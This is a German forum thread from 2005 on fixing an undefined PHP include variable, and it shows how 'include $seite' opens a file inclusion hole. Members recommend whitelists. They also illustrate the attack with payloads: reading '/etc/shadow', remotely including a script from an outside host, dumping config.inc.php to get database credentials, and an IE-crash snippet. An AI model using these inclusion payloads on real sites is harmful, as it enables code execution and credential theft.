Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
(Web-) Design und webbasierte Sprachen Tipps & Tricks, Designabgleich, HTML & Javascript, Flash, ASP, PHP, Perl/CGI...

nicht difinierte Variabel

Diskussion: nicht difinierte Variabel im Forum (Web-) Design und webbasierte Sprachen, in der Kategorie Web, Network & Multimedia Palace; Anzeige Moin Moin Ich habe folgendes Problem ich lasse meinen Inhalt der HP so anzeigen include $seite; ist $seite jetzt ...

Antwort
Alt 25.12.05, 12:30   #1 (permalink)
ba2
Guest
 
Likes:
nicht difinierte Variabel

Anzeige

Moin Moin

Ich habe folgendes Problem

ich lasse meinen Inhalt der HP so anzeigen

include $seite;

ist $seite jetzt nicht gegeben kommt immer ne Fehlermeldung
wie kann ich eine nicht Deklarierte(schreibt man das so?) Variabel auf irgend einen Wert setzen?

ich habs so versucht

if($seite=="")
{
$seite="inhalt.php"
}



Fehlermeldung

Notice: Undefined variable: seite in /www/htdocs/w005aa58/freak/index.php on line 32

Warning: main(): Failed opening '' for inclusion (include_path='.:/usr/share/php:..') in /www/htdocs/w005aa58/freak/index.php on line 32

geht aber nicht :(

mfg ba2

  Mit Zitat antworten
Alt 25.12.05, 13:21   #2 (permalink)
Moderator
 
Benutzerbild von Elderan
 
Registriert seit: 30.03.04
Elderan Leistung: 8086
Likes: 14
Standard

Hallo,
das schlimmst was du machen kannst:
include $seite;

Jeder der etwas Ahnung von PHP hat, kann innerhalb von Sekunden so deinen gesamten Server lahmlegen.

Besser so:
Code:
<?php
$seiten = array("fehlerseite_falsche_id.php","erste_seite.php","zweite_seite.php"...);

if(isset($_GET['site_id']) AND is_numeric($_GET['site_id']) AND $_GET['site_id'] >= 0 AND $_GET['site_id'] < count($seiten))
    $site_id = $_GET['site_id'];
else 
   $site_id = 0;



include $seiten[$site_id];
?>
Elderan ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 25.12.05, 13:31   #3 (permalink)
ba2
Guest
 
Likes:
Standard

da hast du wohl recht, habe ich auch schon ma ausprobiert, bei meinen webserver, da ist aber mein IE abgeschmiert und nicht der Server.
  Mit Zitat antworten
Alt 25.12.05, 19:12   #4 (permalink)
Senior Member
 
Registriert seit: 28.08.05
2Bios Leistung: Facit NTK
Likes: 0
Standard

a propos ie: kennt ihr schon den bug <input type stirbdummerieoderwasauchimmer> in einer html? bis version 6 crasht dieser zuverlässig
2Bios ist offline   Mit Zitat antworten
Alt 25.12.05, 20:15   #5 (permalink)
 
Registriert seit: 15.08.03
flame Leistung: Facit NTK
flame eine Nachricht über ICQ schicken
Likes: 0
Standard

Also... als erstes musst du überprüfen, ob die variable überhaupt existiert.

Zitat:
isset

(PHP 3, PHP 4, PHP 5 )
isset -- Prüft die Existenz einer Variablen
Beschreibung:
bool isset ( mixed var [, mixed var [, ...]] )

Diese Funktion liefert TRUE, wenn die Variable oder das Array-Element var existiert, sonst FALSE.

Wird eine Variable oder ein Array-Element mit unset() freigegeben, so liefert isset() anschließend ebenfalls FALSE.
Code:
echo isset ($a); // false
$a = "test";
echo isset ($a); // true
unset ($a);
echo isset ($a); // false
oder eine variable einen Wert enthält.
Zitat:
empty

(PHP 3, PHP 4, PHP 5 )
empty -- Prüft, ob eine Variable einen Wert enthält
Beschreibung:
int empty ( mixed var )

Diese Funktion liefert TRUE, wenn eine Variable nicht definiert, leer oder gleich 0 ist, ansonsten FALSE.
Code:
$var = 0;
if (empty ($var)) { #evaluates true 
    print '$var is either 0 or not at all set';
}
if (!isset ($var)) { // evaluates false
    print 'The $var is not set at all';
}
Wenn du nun überprüft hast ob die variable existiert /einen Wert enthält, kannst d entsprechende maßnahmen einleiten.
Code:
if (empty($site)) $site = "index.php";
Wenn du eine nicht vorhandene variable mit If euf inhalt prüfst, wird dir immer eine fehlermeldung ausgegeben.

Quelle: http://manuals.phpforum.de

Eine mit Post oder Get übergebene variable zu includen is müll, weil man so jede seite includen kann.

je nach anforderung / umfang kannst du folgende muster benutzen:

Hier wird für jede datei, die aufgerufen werden kann ein eigener includebefehl geschrieben. So kann man nur seiten includen, die auch in deiner IF-Abfrage definiert sind.
Code:
if ($site ==  "help") include("help.php");
elseif ($site == "home) include(index.php");
...
end if
Hier definierst du ein array, in dem alle abrufbaren seiten definiert sind. danch wird überprüft, ob site einen in ar_sites defineirten wert enthält. anschließend noch ".php" anhängen.
Code:
 
$ar_sites = array("home", "help", ... );
if (in_array ($site, $ar_sites)) include($site.".php");
else do_whatever //halt nen fehler ausgeben
oder nochmal ein array mit mehr aufwand. Hier wird die seite direkt im array definiert, und der wert im key

Code:
$ar_sites = array(
            "home"    => "home.php",
            "help"    => "help.php",
            ... );
if (isset($ar_sites[$site])) include($ar_sites[$site]);
else do_whatever //halt nen fehler ausgeben
Aber eigentlich ist es immer schlecht, ne variable an den include-befehl zu übergeben, da es in gewissem maße ang

Eine bitte noch.. nimm nicht einfach den code hier, sondern versuich zu verstehen was er bewirkt. es gibt nix schlimmeres, als ein Programm, das aus leuter Codeschnippseln besteht, von denen man nicht 100% versteht, was sie bewirken.
flame ist offline   Mit Zitat antworten
Alt 25.12.05, 20:16   #6 (permalink)
 
Registriert seit: 13.03.05
BattleMaker Leistung: Facit NTK
Likes: 0
Standard

Code:
<html>
<head><title>IE_CRASH</title></head>

<body>
<form>
<input type stirbdummerieoderwasauchimmer>
</form>
</body>


</html>
Funktioniert nicht.

@Elderan: Wie sollte man einen Server lahmlegen, nur weil man das Inkludieren jeder x-beliebigen Datei zulässt? Man könnte sich vllt. ein paar Textdateien aus übergeorndeten Verzeichnissen angucken aber mehr doch auch nicht - dachte ich jedenfalls.


MfG, BattleMaker
BattleMaker ist offline   Mit Zitat antworten
Alt 25.12.05, 20:24   #7 (permalink)
 
Registriert seit: 15.08.03
flame Leistung: Facit NTK
flame eine Nachricht über ICQ schicken
Likes: 0
Standard

naja, der Server wist du damit i.d.R. nicht lahmlegen können, aber wenn du jede beliebige datei includen kannst, kannst du z.B. auch die site sich selbst includen lassen. was dazu führen kann(!!!), dass eine endlosschleife entsteht.

Oder stell dir folgendes szenario vor.. Jemand hat auf seiner seite einen uploadbereich. dort kann ich nun ein php script hochzladen und es über den include-befehl einbinden. So lässt sich jeder beliebige code ausführen.
flame ist offline   Mit Zitat antworten
Alt 25.12.05, 20:37   #8 (permalink)
 
Registriert seit: 13.03.05
BattleMaker Leistung: Facit NTK
Likes: 0
Standard

Ah danke...

Zitat:
Oder stell dir folgendes szenario vor.. Jemand hat auf seiner seite einen uploadbereich. dort kann ich nun ein php script hochzladen und es über den include-befehl einbinden. So lässt sich jeder beliebige code ausführen.
Dazu müsste aber erstmal ein sehr inkompetenter Admin her

Was mich nur verwundert hat, war Elderan's Äußerung:
Zitat:
Jeder der etwas Ahnung von PHP hat, kann innerhalb von Sekunden so deinen gesamten Server lahmlegen.
Deshalb die Nachfrage


MfG, BattleMaker
BattleMaker ist offline   Mit Zitat antworten
Alt 25.12.05, 20:44   #9 (permalink)
 
Registriert seit: 15.08.03
flame Leistung: Facit NTK
flame eine Nachricht über ICQ schicken
Likes: 0
Standard

Naja.. inkompetente Leute gibts doch an allen ecken zund enden. vielleicht gehör ich ja auch dazu.

Das ist das Prinzip des Jeans-Managements: An jeder wichtigen Stelle eine Niete!

aber ich mein, vielleicht weiß er was, das wir nicht wissen. Mal sehen vielleicht erfahren wir nochwas.
flame ist offline   Mit Zitat antworten
Alt 25.12.05, 21:18   #10 (permalink)
Moderator
 
Benutzerbild von Elderan
 
Registriert seit: 30.03.04
Elderan Leistung: 8086
Likes: 14
Standard

Hallo,
Server lahmlegen:

--------------------------------------------------------------------------------
include($seite);
$seite = "/etc/shadow";

=> include("/etc/shadow");
Liefert bei manchen Servern die Passwortdatei

$seite = "http://meineurl.de/script.txt";

=>include("http://meineurl.de/script.txt");
Includet einen beliebigen Script von meinem Server.
Da der Text aber __nicht___ als Text geladen wird, werden ggf. enthaltenen PHP Code ausgeführt wird, so kann ich so beliebigen PHP Code ausführen.

Kannst es ja Test.

locahost:
<?php
include("http://meinserver.de/script.txt");
?>

Und dann auf deinen Server script.txt hochladen, die <?php //Code ?> enthält.

Also ein Angreifer kann in Sekunden schnelle, _deinen_ Webserver beliebigen PHP Code unterjublen.
Als Folge könnte ich so z.B. die Datei mit den Zugangsdaten der DB auslesen:

script.txt:
Code:
<?php
echo htmlentities(get_file_contents("config.inc.php")); //Stellt den Inhalt der config.inc.php lesbar dar
?>
Mit den Zugangsdaten könnte ich dann deine gesamte DB löschen bzw. manipulieren.

Desweiteren könnte ich alle Dateien auf deinem Account bearbeiten, manipulieren, löschen, oder einfach illegale Dateien auf deinen Server/Account hochladen.
Auch könnte ich diesen dazu benutzen, andere Server anzugreifen.

Ich habe dann genau die gleiche 'Macht' wie du, nur dass ein findiger Angreifer besser weiß welche Befehle 'schädlich' sein könnte.

Man könnte ja ein Script schreiben, welches deine DB flooded, als Folge könnte die gesamte Datenbank zusammenbrechen, und der Serveradmin würde sich freun.

Oder ich veränder deine Index nicht sichtbar, allerdings ist dort jetzt ein Exploit, welchen den User z.B. ein Trojaner unterjubelt.


Desweiteren sind extrem viele Server schlecht abgesichert, so dass ein Angreifer über dein Script oft den gesamten Server unter Kontrolle bringen könnte, oder einfach nur Daten ändern/löschen von anderen Accounts (z.B. Shared-Hosting).

Die Möglichkeiten sind vielfach.

Vorallem wenn du durch solche Attacken reale/finanzelle Schäden bekommst.
Stell dir vor, dich verklagt jmd., weil deine Seite Trojaner verteilt, oder du wirst angezeigt, weil auf deinem Server Kinderpornographie ist.

Oder jmd. ändert deinen PHP-Script /System so, dass dieser davon ein Vorteil erziehlt.
Elderan ist offline   Mit Zitat antworten
Alt 25.12.05, 21:19   #11 (permalink)
 
Registriert seit: 19.03.05
p-Logic Leistung: Facit NTK
Likes: 1
Standard

Zitat:
Original von BattleMaker
@Elderan: Wie sollte man einen Server lahmlegen, nur weil man das Inkludieren jeder x-beliebigen Datei zulässt? Man könnte sich vllt. ein paar Textdateien aus übergeorndeten Verzeichnissen angucken aber mehr doch auch nicht - dachte ich jedenfalls.
Bei einfachen Seiten nur DoS, aber wenn die Seite z.B. noch die Zugriffe loggen soll...

Datei auf dem Server:
PHP-Code:
<?
  $dbHost 
"localhost";
  
$dbUser "u1234567";
  
$dbName "db1234567";
  
$dbPassword "thesupersecretpassword";
  
$IP $_SERVER["REMOTE_ADDR"];
  
$date date("Y-m-d");
  
$Connection mysql_connect($dbHost$dbUser$dbPassword);
  
$SQLQuery "INSERT INTO log (ip, date) VALUES ('".$IP."', '",$date,"')";
  
$Insrt mysql_db_query($dbName$SQLQuery$Connection);
  include(
$seite);

?>
andere Datei
PHP-Code:
<?
 
echo $dbPassword;
  
$SQLQuery "DELETE FROM log  WHERE ip = '".$IP."'";
  
$Insrt mysql_db_query($dbName$SQLQuery$Connection);
?>
Obwohl diese Variablen für niemanden sichtbar sind, kann sie jedes script, dass auf dem selben Server liegt und als $seite eingegeben wird benutzen (manchmal berechtigt).

Wenn man jetzt noch eine Möglichkeit findet die zweite Datei irgendwo auf diesen Server zu laden (z.B. durch schlecht gesichertes Image upload-script, etc.) kann man diesen Log beliebig verändern.
(allerdings könnte man dann evtl auch eine Datei aus dem Array ersetzen)

(Klingt trotzdem ziemlich Paranoid )

Ein weiterer (besserer) Grund darauf zu verzichten:
www.WebpageOfBa2.de/test.php?seite=inhalt.php
http://www.WebpageOfBa2.de/test.php?...E-Exploit.html

Jeder beliebige Content kann deine Seite als Relay benutzen.
Von ImageCrashs bis illegal Volksverhetzendem. Alles "auf" deiner Website.
p-Logic ist offline   Mit Zitat antworten
Alt 25.12.05, 21:52   #12 (permalink)
 
Registriert seit: 13.03.05
BattleMaker Leistung: Facit NTK
Likes: 0
Standard

Eines erstaunt mich. Ich hielt diese Lücke nämlich bisher für so offensichtlich, dass ich mir gar nicht die Mühe machte, auszuprobieren, ob es funktioniert. Aber nach eurer Erklärung kann man anscheinend per include() Skripte von ganz anderen Servern (obwohl diese Skripte ja ebenfalls SERVER-seitig sind) ausführen.

Zitat:
=>include("http://meineurl.de/script.txt");
Includet einen beliebigen Script von meinem Server.
Da der Text aber __nicht___ als Text geladen wird, werden ggf. enthaltenen PHP Code ausgeführt wird, so kann ich so beliebigen PHP Code ausführen.
Ich meine, das KANN doch gar nicht funktionieren! Man nehme z.B. an, ich hätte folgendes Skript:

www.RobertNitsch.de/hack.php

Wenn ich jetzt einer beliebigen (natürlich nicht geschützten) Seite http://www.xyz_zyx.de/include.php?pa...ch.de/hack.php übergebe, dann wird doch zuerst das Skript hack.php auf MEINEM Server ausgeführt und dann wird die AUSGABE des Skripts in www.xyz_zyx.de/include.php inkludiert (durch include($_GET['inc']);), nicht das Skript selbst, sodass es auf dem Server des Opfers ausgeführt wird.
Denn mein Server lässt doch schließlich niemanden an den Source meiner PHP-Dateien ran. Wäre ja noch schöner, wenn ich mir mit diesem Trick den Code von anderen Seiten anschauen könnte.

Und mit einem inkludierten JavaScript (was ja wieder möglich ist, denn JS läuft ja CLIENT-seitig ab) kann man keine Datenbanken löschen, höchstens ein paar dumme Menschen ausloggen und auf eine falsche Login-Seite lenken.

Deshalb zum besseren Verständnis nochmal ein Zitat (Elderan):
Zitat:
Da der Text aber __nicht___ als Text geladen wird
Heißt das, dass ich einem nicht geschützten PHP-Skript eine TXT-Datei andrehen kann und PHP das dann als PHP-Skript ansieht? Bzw. evtl. enthaltene Befehle?



MfG, BattleMaker
BattleMaker ist offline   Mit Zitat antworten
Alt 25.12.05, 22:22   #13 (permalink)
 
Registriert seit: 05.11.05
Kimmmey Leistung: Facit NTK
Likes: 0
Standard

Ja, wenn du mit include eine *.txt datei lädst und in dieser php Code steht wird dieser vom Server ausgeführt. Egal wo sie liegt(auf anderem oder dem selben Server).

Wenn du eine *.php Datei eines anderen Servers lädst wird die auf dem anderen Server verarbeitet und du bekommst nur den HTML Code welcher zurückgegeben wird.

Hoffe das stimmt alles so
Kimmmey ist offline   Mit Zitat antworten
Alt 25.12.05, 23:16   #14 (permalink)
 
Registriert seit: 15.08.03
flame Leistung: Facit NTK
flame eine Nachricht über ICQ schicken
Likes: 0
Standard

Also dass man tatsächlich auch scripte fremder seiten einbinden kann, ist mir auch neu. aber es funktioniert tatsächlich.
Was aber nicht funktionieren dürfte, istd ie sache mit "/etc/shadow", aber bei schlecht configurierten system wäre es natürlich theoretisch schon möglich.. sowas darf aber einfach nicht vorkommen.

Wieder was dazugelernt. Ach ja, und SO stell ich mir ne Habo-Diskussion vor!
flame ist offline   Mit Zitat antworten
Alt 25.12.05, 23:53   #15 (permalink)
ba2
Guest
 
Likes:
Standard

Also ich hab das mal ausprobiert und bei mir funzt es nicht

ich habe ne datei angelegt

test.txt

inhalt--->
----------------------
<?php
echo "TEST";
?>
----------------------

und dan das ganze an der variabel rangehangen

http://www.domain1234567890.de?seite...89.de/test.txt

und es ging nicht
  Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Web, Network & Multimedia Palace » (Web-) Design und webbasierte Sprachen » nicht difinierte Variabel
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
verwendung der nicht zugewiesenen variabel c Schnauf Code Kitchen 8 17.10.08 14:47
Computer fährt nicht mehr hoch,Bootet nicht von CD/DVD und lässt nicht in BIOS rein Desox Hardware Probleme 5 09.03.07 19:47
variabel prüfen ba2 (Web-) Design und webbasierte Sprachen 1 01.07.06 08:09
variabel kürzen bimbo510 (Web-) Design und webbasierte Sprachen 9 04.04.06 18:37
Computer bootet nicht mehr, Festplatte kann nicht gefunden werden! ToXiCity Die Problemzone 12 14.03.04 13:38


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61